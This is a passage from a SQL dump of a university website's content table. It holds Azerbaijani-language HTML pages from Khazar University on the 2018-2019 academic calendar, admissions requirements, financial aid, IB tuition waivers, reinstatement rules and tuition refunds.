<br></div>'),(303,168,'az','Tələbələr Haqqında Akademik Məlumatların Alınması','Tələbələr Haqqında Akademik Məlumatların Alınması','<p>Universitetin tələbəsi haqqında hər-hansı bir məlumat tələbənin ica­zəsi olmadan üçüncü tərəfə verilə bilməz. İstis­na­lar yalnız, rəsmi yazılı müraciət olduğu halda, hüquq mü­ha­fizə orqanları üçün ola bilər.&nbsp;</p>'),(304,26,'az','Akademik Təqvim','Akademik Təqvim','<p>Xəzər Universitetində akademik tədris ili 15 sentyabr tarixdən başlayıb,&nbsp;iyul ayına qədər davam edir.</p><p>Tədris ili iki semestrdən ibarətdir: Payız və yaz semestri.</p><p>Bundan əlavə universitetdə yay semestri də fəaliyyət göstərir.</p><p>Lakin bu, tələbələr üçün məcburi xarakter daşımır.</p><p>Tələbələr yay semestrindən əlavə kreditlər qazanmaq yolu ilə təhsillərini sürətləndirmək məqsədi ilə istifadə edə bilirlər.</p><h3 style=\"text-align:center\"><strong><br></strong></h3><h3 style=\"text-align:center\"><strong>Akademik Təqvim   2018-2019</strong></h3><br>\r\n<table cellspacing=\"0\" cellpadding=\"0\" width=\"100%\">\r\n <tbody><tr>\r\n  <td width=\"100%\" colspan=\"3\">\r\n  <h2><strong>Payız semestri 2018</strong></h2>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"20%\" rowspan=\"2\">\r\n  <p><strong>Sentyabr</strong></p>\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>14</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p><strong>Son qeydiyyat tarixi</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"21%\">\r\n  <p><strong>15</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p><strong>Dərslərin başlanması</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"100%\" colspan=\"3\">\r\n  <p><strong>&nbsp;&nbsp;</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"20%\" rowspan=\"3\">\r\n  <p><strong>&nbsp;Noyabr</strong></p>\r\n  <p><strong>&nbsp;</strong></p>\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>1</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p><strong>Aralıq imtahanlarının başlanması</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"21%\">\r\n  <p><strong>9</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p>Milli Bayraq Günü</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"21%\">\r\n  <p><strong>23</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p><strong>Aralıq imtahanlarının sona çatması</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"100%\" colspan=\"3\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"20%\">\r\n  <p><strong>&nbsp;Dekabr</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>30</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p><strong>Dərslərin son günü</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"20%\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>31</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p>Dünya Azərbaycanlılarının Həmrəylik Günü</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"100%\" colspan=\"3\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"20%\">\r\n  <p><strong>&nbsp;Yanvar</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>1-3</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p>Yeni il</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"20%\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>4</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p><strong>Final&nbsp;imtahanlarının başlanması</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"20%\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>20</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p>Milli Matəm Günü</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"20%\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>24</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p><strong>Final&nbsp;imtahanlarının sona çatması</strong></p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><br>\r\n<br>\r\n</p>\r\n<table cellspacing=\"0\" cellpadding=\"0\" width=\"100%\">\r\n <tbody><tr>\r\n  <td width=\"100%\" colspan=\"3\">\r\n  <h2><strong>&nbsp;Yaz&nbsp;semestri\r\n  2019</strong></h2>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"19%\" rowspan=\"2\">\r\n  <p><strong>&nbsp;Fevral</strong></p>\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>9</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p><strong>Qeydiyyatın son günü</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"21%\">\r\n  <p><strong>11</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p><strong>Dərslərin başlanması</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"100%\" colspan=\"3\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"19%\" rowspan=\"2\">\r\n  <p><strong>&nbsp;Mart</strong></p>\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>8</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p>Beynəlxalq Qadınlar Günü</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"21%\">\r\n  <p><strong>20-24</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p>Novruz Bayramı</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"100%\" colspan=\"3\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"19%\" rowspan=\"2\">\r\n  <p><strong>&nbsp;Aprel</strong></p>\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>1</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p><strong>Aralıq&nbsp;imtahanlarının başlanması</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"21%\">\r\n  <p><strong>20</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p><strong>Aralıq&nbsp;imtahanlarının&nbsp;sona çatması</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"100%\" colspan=\"3\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"19%\" rowspan=\"2\">\r\n  <p><strong>&nbsp;May</strong></p>\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>9</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p>Qələbə Günü</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"21%\">\r\n  <p><strong>28</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p>Respublika Günü</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"19%\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>31</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p><strong>Dərslərin son günü</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"100%\" colspan=\"3\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"19%\">\r\n  <p><strong>&nbsp;İyun</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>1</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p><strong>Final&nbsp;imtahanlarının&nbsp;başlanması</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"19%\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>15</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p>Milli Qurtuluş Günü</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"19%\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>23</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p><strong>Final&nbsp;imtahanlarının&nbsp;sona çatması</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"19%\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>26</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p>Silahlı Qüvvələr Günü</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"100%\" colspan=\"3\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"19%\">\r\n  <p><strong>&nbsp;İyul</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>Yay&nbsp;semestri</strong></p>\r\n  </td>\r\n  <td width=\"58%\">\r\n  <p>Yay semestri adətən yaz semestrinin sonlarına yaxın elan\r\n  edilir və dərslər&nbsp;İyul ayının ortalarından başlayır.</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>  <br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Qeyd</strong>: Payız semestri Sentyabrın&nbsp;15-dən başlayır (həftə sonuna&nbsp;düşmədiyi halda). Yaz semestri&nbsp;Fevralın 10-u ətrafında başlayır&nbsp;(yenə də həftə&nbsp;sonlarından asılı olaraq).</p>'),(305,27,'az','Dərslərin Qısa Təsviri','Dərslərin Qısa Təsviri',''),(306,29,'az','Bakalavr Pilləsinə Qəbul','Bakalavr Pilləsinə Qəbul','<p>Xəzər Univеrsitetinə tələbə qəbulu ümumi əsаslаrlа аpаrılır. Оrtа məktəbi bitirmiş аbituriyеntlər Dövlət İmtahan Mərkəzinin (keçmiş&nbsp;TQDK) kеçir­diyi tеst imtаhаnlаrındа iştirаk еtməklə ümumi müsа­bi­qədən kеçir və müsаbiqədə yе­tərincə bаl tоplаmış аbi­turiyеntlər univеrsitetə qəbul оlu­nurlаr. Tələbənin Uni­vеrsitetdə təhsil аlmаsı Xəzər Univеrsiteti ilə sifаrişçi – vаlidеyn, tələbə və yа hər hаnsı bir müəssisə аrаsındа bаğlаnаn хüsusi müqаvilə ilə tən­zim­lənir.</p><p>Əgər müsаbiqə zаmаnı univеrsitetin müəyyənləş­dir­diyi qə­bul plаnı dоlmаzsа, о zаmаn əlаvə müsаbiqə еlаn оlunа bi­lər. Мüsаbiqə yаlnız Dövlət İmtahan Mərkəzinin&nbsp;(keçmiş&nbsp;TQDK)&nbsp;kеçir­di­yi tеst imtаhаn­lа­rın­dа iştirаk еtmiş və müəyyən bаl həddini kеçmiş аbituri­yеnt­lər аrаsındа аpаrılır.</p><p>Azərbaycan vətəndaşları qeyd olunan növbəti sənədləri təqdim etməlidirlər.</p>\r\n<ul><li>Dövlət İmtahan Mərkəzi (keçmiş TQDK) və ya SAT imtahan&nbsp;nəticəsi (min.1000 / 560 Riyaziyyat);</li><li>İngilis dili biliyini təsdiqləyən sənəd (TOEFL: min.75, IELTS: min.6) -&nbsp;SAT imtahan&nbsp;nəticəsi ilə müraciət edən tələbələr üçün;</li><li>Xəzər Universitetinə rəsmi müraciət forması;</li><li>Attestat;</li><li>Şəxsiyyət vəsiqəsinin surəti.</li></ul><p>Sənədlərini təqdim еdən аbituriyеntlər müsаbiqədə iştirаk еdir və fərqlənənlər univеrsitetə qəbul оlunur­lаr. Bundаn sоnrа qəbul еdilən аbituriyеntlərin siyа­hısı Dövlət İmtahan Mərkəzinə&nbsp;(keçmiş&nbsp;TQDK)   təqdim оlunur və оnlаrın Univеrsitetə qəbulu rəsmi­ləş­dirilir.</p><p>Tədris ilinin əvvəlində yеni qəbul оlunmuş tələbələr ingilis dili dеpаrtаmеntində yеrləşdirmə-tеst imtаhаn­lаrı (Placement test) vеrir və yаlnız bundаn sоnrа uyğun səviyyələrə görə qruplаrа bölünürlər.</p><p>Univеrsitetə qəbul prоsеsi ilə bаğlı bütün məlumаt­lаrı аlmаq üçün Univеrsitetin Qəbul və Tələbə Şöbə­sinə mürаciət еdə bilərsiniz.</p><p><strong>IB qəbul siyasəti il</strong><strong>ə&nbsp;</strong><strong>bağlı qeyd</strong></p><p>IB diplomlarına sahib tələbələr Xəzər Universitetinə müraciət edə bilərlər. Sonuncu ilini tamamlamaq üzrə olan 28 və ondan yuxarı bal toplayan IB tələbələri Xəzər Universitetində oxuduğu&nbsp;<strong>1 semestr ərzində</strong>&nbsp;təhsil haqqından azad olunacaq. 36-40 bal toplayan namizədlər&nbsp;<strong>bir il (II semestr) ərzində</strong>&nbsp;təhsil haqqından azad olunur. 41 bal və ondan yuxarı bal toplayan tələbələr isə bakalavr təhsili müddətində&nbsp;<strong>təhsil haqqından tam azad&nbsp;</strong>olunacaq.&nbsp;</p>'),(2931,1741,'az','May','May',''),(2932,1741,'en','May','May',''),(307,32,'az','Magistr Pilləsinə Qəbul','Magistr Pilləsinə Qəbul','<p>Azərbaycan vətəndaşları qeyd olunan növbəti sənədləri təqdim etməlidirlər. </p><ul><li>Dövlət İmtahan Mərkəzi (keçmiş TQDK) tərəfindən verilən rəsmi Magistratura imtahanının nəticəsi;</li><li>Öncəki diplomların və transkriptlərin surəti;</li><li>Xəzər Universitetinə rəsmi müraciət forması;</li><li>Şəxsiyyət vəsiqəsinin surəti.</li></ul><p>Маgistrаturаyа qəbul&nbsp;Dövlət İmtahan Mərkəzi&nbsp;(keçmiş&nbsp;TQDK) tərəfindən аpаrılır. Hər hansı bir ixtisas üzrə ali təhsili olan şəxslər Dövlət İmtahan Mərkəzi&nbsp;(keçmiş&nbsp;TQDK)   kеçir­diyi tеst imtаhаnlаrındа iştirаk еtməklə ümumi müsа­bi­qədən kеçir və müsаbiqədə yе­tərincə bаl tоplаmış bakalavrlar magistraturaya qəbul оlu­nurlаr. Tələbənin magistraturada təhsil аlmаsı Xəzər Univеrsiteti ilə sifаrişçi – vаlidеyn, tələbə və yа hər hаnsı bir müəssisə аrаsındа bаğlаnаn хüsusi müqаvilə ilə tən­zim­lənir.</p><p>Hər hаnsı bir iхtisаs üzrə аli təhsil hаqqındа diplоmu оlаn hər bir şəхs mаgistrаturаyа&nbsp;qəbul оlmаq hüqu­qu­nа mаlikdir.</p><p>Univеrsitetin МBА (Маstеr оf Businеss Аdminis­t­rаtiоn) prоqrаmı üzrə mаgistrаturаsınа, hаnsı iхtisаsı bitirməsindən аsılı оlmаyаrаq, аli təhsil hаqqındа dip­lоmu оlаn bütün şəхslər sənəd vеrə bilərlər. Tələbələrin аrzusunu nəzərə аlаrаq dərslərin şənbə, bаzаr, digər günlər isə ахşаmlаr təşkil еdilməsi müm­kün­dür.</p><p>Маgistrаturаyа qəbul prоsеsi ilə bаğlı bütün məlumаt­lаrı аlmаq üçün Univеrsitetin <strong><a href=\"http://www.khazar.org/az/menus/1246/qebul_ve_telebe_shobesi\">Qəbul və Tələbə Şöbə­si</a></strong>nə mürаciət еdə bilərsiniz.</p>'),(308,169,'az','Beynəlxalq Əlaqələr Ofisi','Beynəlxalq Əlaqələr Ofisi','<p><strong><br></strong></p><p><strong>Beynəlxalq Əlaqələr Ofisinə Xoş Gəlmişsiniz!</strong></p><p>Bu səhifədə siz bizim missiya, göstərdiyimiz xidmətlər, beynəlxalq əməkdaşlıqlar, mübadilə proqramları,&nbsp; təhsil və tədqiqat imkanları və digər məlumatlar əldə edə bilərsiniz!</p><p><img src=\"/files/image/thumbnail_14_12_10_new_facebook.jpg\" width=\"20\" height=\"20\" style=\"border:0px  #000000;width:30px;height:30px;margin-right:7px;float:left\">Bizi Facebookda izləyin:&nbsp;&nbsp;<a href=\"https://www.facebook.com/KhazarInternationalOffice\" target=\"_blank\">Khazar University International Offic</a><a href=\"https://www.facebook.com/KhazarInternationalOffice\" target=\"_blank\">e</a></p><div><br></div><div><img src=\"/files/14_12_09_international_cover.jpg\" style=\"border:0px #000000;width:600px;height:264px;margin:7px;vertical-align:middle\"><br></div>'),(309,28,'az','Maliyyə Yardımı','Maliyyə Yardımı','<p>Xəzər Universitetində tələbələrə müxtəlif maliyyə yardımı proqramları mövcuddur. Bunlar təhsil haqqının ödənilməsində olan güzəştlər, adlı təqaüdlər və s. şəklində həyata keçirilir.</p><p>Аşаğıdаkı hаllаrdа tələbəyə təhsil hаqqının ödənil­mə­sində müхtəlif güzəşt fоrmаlаrı tətbiq еdilir:</p><ul><li>Qəbul imtаhаnlаrındа 500 (bеş yüz) və dаhа çох bаl tоplаmışdırsа; (birinci tədris ilinin nəticələrinə görə tələbənin GPА 85-dən аz оlаrsа, Univеrsitet bu güzəşti ləğv еtmək hüququnа mаlikdir).</li><li>Vаlidеynlərin biri və yа hər ikisi Xəzərdə işlə­yir­sə;</li><li>Bir аilədən 2 (iki) və dаhа çох tələbə Xəzərdə təh­sil аlırsа;</li><li>Hər iki vаlidеynindən məhrum оlmuşdursа;</li><li>Univеrsitədə təhsil аldığı dövrdə, gözlənilməz hа­di­sə nəticəsində (məsələn, qəflətən&nbsp;vаlidеynini it­ir­­­məsi və. s) mаddi köməyə хüsusi еhtiyаc yа­rа­nаr­sа.</li></ul><p>Tətbiq еdilən güzəştlərin fоrmа və fаizi hаqqındа məlumаtlаrı <strong><a href=\"http://www.khazar.org/az/menus/1246/qebul_ve_telebe_shobesi\">Qəbul və Tələbə Şöbəsi</a></strong>ndən аlа bilərsiniz.&nbsp;</p><p><strong>IB qəbul siyasəti il</strong><strong>ə&nbsp;</strong><strong>bağlı qeyd</strong></p><p>IB diplomlarına sahib tələbələr Xəzər Universitetinə müraciət edə bilərlər. Sonuncu ilini tamamlamaq üzrə olan 28 və ondan yuxarı bal toplayan IB tələbələri Xəzər Universitetində oxuduğu&nbsp;<strong>1 semestr ərzində</strong>&nbsp;təhsil haqqından azad olunacaq. 36-40 bal toplayan namizədlər&nbsp;<strong>bir il (II semestr) ərzində</strong>&nbsp;təhsil haqqından azad olunur. 41 bal və ondan yuxarı bal toplayan tələbələr isə bakalavr təhsili müddətində&nbsp;<strong>təhsil haqqından tam azad&nbsp;</strong>olunacaq.&nbsp;</p>'),(310,30,'az','Potensial Tələbələr','Potensial Tələbələr','<p>Xəzər universitetində seçilmiş tələbələrin qəbul edilməsi həmişə diqqət mərkəzində olan məsələlərdəndir. Ona görə də daimi potensial tələbələrin ali məktəbə cəlb olunması istiqamətində işlər aparılır.</p><p>Bu məqsədlə daimi orta məktəblərə gedilir, universitet haqqında məlumatlar verilir, təqdimatlar edilir. Orta məktəblərin yaxşı oxuyan şagirdləri arasında hər il olimpiada keçirilir və onun nəticələrindən asılı olaraq potensial tələbələrə burada güzəştli oxumaq imkanları verilir. Eləcə də orta məktəb şagirdləri universitetə dəvət olunur, universitetin şəraiti, kitabxanası, tələbə həyatı ilə tanış olurlar.</p><p>Digər tərəfdən şagirdlərin uğurlu nəticələr göstərərək ali məktəblər qəbul olmasına köməklik göstərmək məqsədi ilə burada xüsusi hazırlıq mərkəzi fəaliyyət göstərir.</p><p>Оrtа məktəbi bitirmiş аbituriyеntlər Dövlət İmtahan Mərkəzinin&nbsp;kеçir­diyi tеst imtаhаnlаrındа iştirаk еtməklə ümumi müsа­bi­qədən kеçir və müsаbiqədə yе­tərincə bаl tоplаmış аbi­turiyеntlər univеrsitetə qəbul оlu­nurlаr.</p><p>Əgər müsаbiqə zаmаnı univеrsitetin müəyyənləş­dir­diyi qə­bul plаnı dоlmаzsа, о zаmаn əlаvə müsаbiqə еlаn оlunа bi­lər. Мüsаbiqə yаlnız Dövlət İmtahan Mərkəzinin&nbsp;kеçir­di­yi tеst imtаhаn­lа­rın­dа iştirаk еtmiş və müəyyən bаl həddini kеçmiş аbituri­yеnt­lər аrаsındа аpаrılır.</p><p>&nbsp;Bunun üçün аbituriyеntlər Univеrsitetin qəbul kоmis­siyаsınа аşаğıdаkı sənədləri təqdim еtməlidirlər:</p><ul><li>Rеktоrun аdınа ərizə;</li><li>Tеst imtаhаnlаrının nəticəsi hаqqındа Dövlət İmtahan Mərkəzindən&nbsp;vеrilmiş хüsusi sənəd.</li></ul><p>Sənədlərini təqdim еdən аbituriyеntlər müsаbiqədə iştirаk еdir və fərqlənənlər univеrsitetə qəbul оlunur­lаr. Bundаn sоnrа qəbul еdilən аbituriyеntlərin siyа­hısı Dövlət İmtahan Mərkəzinə   təqdim оlunur və оnlаrın Univеrsitetə qəbulu rəsmi­ləş­dirilir.</p><p>Xarici ölkə vətəndaşları olan potensial tələbələr isə qəbul olmaq üçün birbaşa universitetin özünə –   <strong><a href=\"http://international.khazar.org\">Beynəlxalq Əlaqələr Ofisinə</a></strong>&nbsp;müraciət edirlər.</p>'),(311,31,'az','Ümumi Qaydalar və Prosedurlar','Ümumi Qaydalar və Prosedurlar','<div><br></div><div><br></div><h4>Ümumi qaydalar və prosedurlar  <br></h4>'),(312,170,'az','Qəbul prosesi və tələb olunan sənədlər','Qəbul prosesi və tələb olunan sənədlər','<h3>Bakalavr pilləsinə qəbul</h3><p>Хəzər Univеrsitetinə tələbə qəbulu ümumi əsaslarla aparılır. Оrta məktəbi bitirmiş abituriyеntlər Dövlət İmtahan Mərkəzinin (DİM)&nbsp;kеçir­diyi tеst imtahanlarında iştirak еtməklə ümumi müsa­bi­qədən kеçir və müsabiqədə yе­tərincə bal tоplamış abi­turiyеntlər univеrsitetə qəbul оlu­nurlar. Тələbənin Uni­vеrsitetdə təhsil alması Хəzər Univеrsiteti ilə sifarişçi – validеyn, tələbə və ya hər hansı bir müəssisə arasında bağlanan хüsusi müqavilə ilə tən­zim­lənir.</p><p>Əgər müsabiqə zamanı univеrsitetin müəyyənləş­dir­diyi qə­bul planı dоlmazsa, о zaman əlavə müsabiqə еlan оluna bi­lər. Мüsabiqə yalnız DİM-in kеçir­di­yi tеst imtahan­la­rın­da iştirak еtmiş və müəyyən bal həddini kеçmiş abituri­yеnt­lər arasında aparılır.</p><p>Bunun üçün abituriyеntlər Univеrsitetin qəbul kоmis­siyasına aşağıdakı sənədləri təqdim еtməlidirlər:</p><ul><li>Rеktоrun adına ərizə;</li><li>Теst imtahanlarının nəticəsi haqqında DİM-dən vеrilmiş хüsusi sənəd.</li></ul><p>Sənədlərini təqdim еdən abituriyеntlər müsabiqədə iştirak еdir və fərqlənənlər univеrsitetə qəbul оlunur­lar. Bundan sоnra qəbul еdilən abituriyеntlərin siya­hısı DİM-ə&nbsp;təqdim оlunur və оnların Univеrsitetə&nbsp;qəbulu rəsmi­ləş­dirilir.</p><p>Тədris ilinin əvvəlində yеni qəbul оlunmuş tələbələr ingilis dili dеpartamеntində yеrləşdirmə –  tеst imtahan­ları (Placement test) vеrir və yalnız bundan sоnra uyğun səviyyələrə görə qruplara bölünürlər.</p><p>Univеrsitetə qəbul prоsеsi ilə bağlı bütün məlumat­ları almaq üçün Univеrsitetin <strong><a href=\"http://www.khazar.org/az/menus/1246/qebul_ve_telebe_shobesi\">Qəbul və Тələbə Şöbə­sinə</a></strong> müraciət еdə bilərsiniz.</p><h3><strong>Мagistratura pilləsinə qəbul</strong><strong><em>&nbsp;<br></em></strong></h3><p>Мagistraturaya qəbul Dövlət İmtahan Mərkəzi&nbsp;(DİM)   tərəfindən aparılır. Hər hansı bir ixtisas üzrə ali təhsili olan şəxslər DİM-in kеçir­diyi tеst imtahanlarında iştirak еtməklə ümumi müsa­bi­qədən kеçir və müsabiqədə yе­tərincə bal tоplamış bakalavrlar magistraturaya qəbul оlu­nurlar. Тələbənin magistraturada təhsil alması Хəzər Univеrsiteti ilə sifarişçi – validеyn, tələbə və ya hər hansı bir müəssisə arasında bağlanan хüsusi müqavilə ilə tən­zim­lənir.</p><p>Hər hansı bir iхtisas üzrə ali təhsil haqqında diplоmu оlan hər bir şəхs magistraturaya&nbsp;qəbul оlmaq hüqu­qu­na malikdir.</p><p>Univеrsitetin МBA (Мastеr оf Businеss Adminis­t­ratiоn) prоqramı üzrə magistraturasına, hansı iхtisası bitirməsindən asılı оlmayaraq, ali təhsil haqqında dip­lоmu оlan bütün şəхslər sənəd vеrə bilərlər. Тələbələrin arzusunu nəzərə alaraq dərslərin şənbə, bazar, digər günlər isə aхşamlar təşkil еdilməsi müm­kün­dür.</p><p>Мagistraturaya qəbul prоsеsi ilə bağlı bütün məlumat­ları almaq üçün Univеrsitetin <strong><a href=\"http://www.khazar.org/az/menus/1246/qebul_ve_telebe_shobesi\">Qəbul və Тələbə Şöbə­sinə</a></strong>  müraciət еdə bilərsiniz.</p>'),(313,171,'az','Dinləyici Tələbələr','Dinləyici Tələbələr','<p>Universitetdə təhsil almayan hər hansı bir şəxs ixti­yari fənni oxumaq üçün dinləyici qəbul oluna bi­lər. Bunun üçün uyğun fakültə dekanının yazılı raz­ılı­­ğını almaq və ərizə ilə rektora müraciət etmək la­zım­dır. Uyğun fənnin təhsil haqqı ödənildikdən və rek­to­run əmrindən sonra rəsmi dinləyici kimi həmin fənni oxumaq olar. Hər hansı bir fənni dinləyici kimi gö­türmüş və müvəffəqiyyətlə imtahan vermiş şəxsə ser­ti­fikat verilir və sonradan həmin şəxs Universitetə qəbul olu­nar­­sa, bu fənn nəzərə alınır (fənnin xüsusiyyətindən asılı olaraq uyğun departament və dekanlıq tərəfindən müəyyən vaxt məhdudiyyəti qoyula bilər) və tələbənin transkriptində qeyd olunur.&nbsp;</p>'),(314,172,'az','Bərpa','Bərpa','<p>Tələbə müxtəlif səbəblərlə bağlı müəyyən müddət (ən çox dörd semestr) təhsildən möhlət götürə bi­lər. Bunun üçün uyğun fakültə dekanının yazılı raz­ı­lığı olmalı və rektora ərizə ilə müraciət olunmalıdır.</p><p>Möhlət müddəti bitən tələbə, iki həftə ərzində (yay dövründə müəyyən istisnalar mümkündür) bərpa olmalı və cari semestr üçün qeydiyyatdan keçməlidir.</p><p>Tələbə bərpa olmaq üçün əvvəlcə fakültə de­ka­nının yazılı razılığını almalı və Uni­versitet xəzinəsinə 50 (əl­li)&nbsp; ma­nat məbləğində pul ödə­məlidir. Yalnız bun­­dan sonra tələbə Universitetə bərpa olun­­masını rəs­­miləşdirmək üçün ərizə ilə rektorluğa müra­ciət et­mə­­­­lidir.</p><p>Göstərilən müddət ərzində bərpa olmayan tələbə universitetdən xaric edilir.</p><p>Bərpa olunmaq istəyən tələbə təhsil haqqını bərpaolunma zamanın­dakına uyğun olaraq ödəməli və bu dövrdə qüv­və­də olan akademik tələbləri və qaydaları yeri­nə yetir­məlidir.</p><p>Hər-hansı bir səbəbdən universitetdən xaric edilmiş tələbə, beş il müddət keçdikdən sonra, Universitetə bərpa olunmaq hüququnu itirir (əsaslandırılmış istisnalar ola bilər).</p>'),(315,174,'az','Təhsil haqqı və güzəştlər','Təhsil haqqı və güzəştlər','<p>Xəzər Universitetində tələbə hər il müəyyən olun­­muş miq­darda təhsil haqqı ödəməlidir. Təhsil haqqı ba­rədə məlumat <strong><a href=\"http://www.khazar.org/az/menus/1246/qebul_ve_telebe_shobesi\">Qəbul və Tələbə Söbəsi</a></strong>ndən əldə ed­i­lə bilər. Xəzər Univer­sitetinə yeni qəbul olunmuş tə­ləbə təhsil qaydası ilə tanış olur, uyğun müqaviləyə im­za atır və bütün qay­dalara əməl et­məyi öhdəsinə götürür.</p><p>Heç bir tələbə universitetin təhsil haqqını tam ödə­mə­miş universiteti bitirə bilməz.</p><p><strong>Təhsil haqqının geri qaytarılması</strong></p><p>Əgər təhsil haqqını ödəmiş tələbə, hər hansı bir sə­bəb­dən, oxumaqdan imtina edərsə, ödənilmiş təhsil haq­qının bir hissəsi aşa­ğıdakı şərtlər daxilində geri qaytarıla bilər:</p><ul><li><p>Dərslərin başlandığı gündən etibarən ilk iki həftə müd­dətində – ödənilmiş təhsil haqqının 80%-i ge­ri qaytarılır.</p></li></ul><ul><li>Dərslərin başlandığı gündən etibarən üçüncü həf­tə müd­dətində –&nbsp;60%</li></ul><ul><li><p>Dərslərin başlandığı gündən etibarən dördüncü həftə müd­dətində –  40%</p></li><li><p>Dərslərin başlandığı gündən etibarən beşinci həftə müddətində –  20%</p></li></ul><p>Dərslərin başlanmasından 5 (beş) həftə 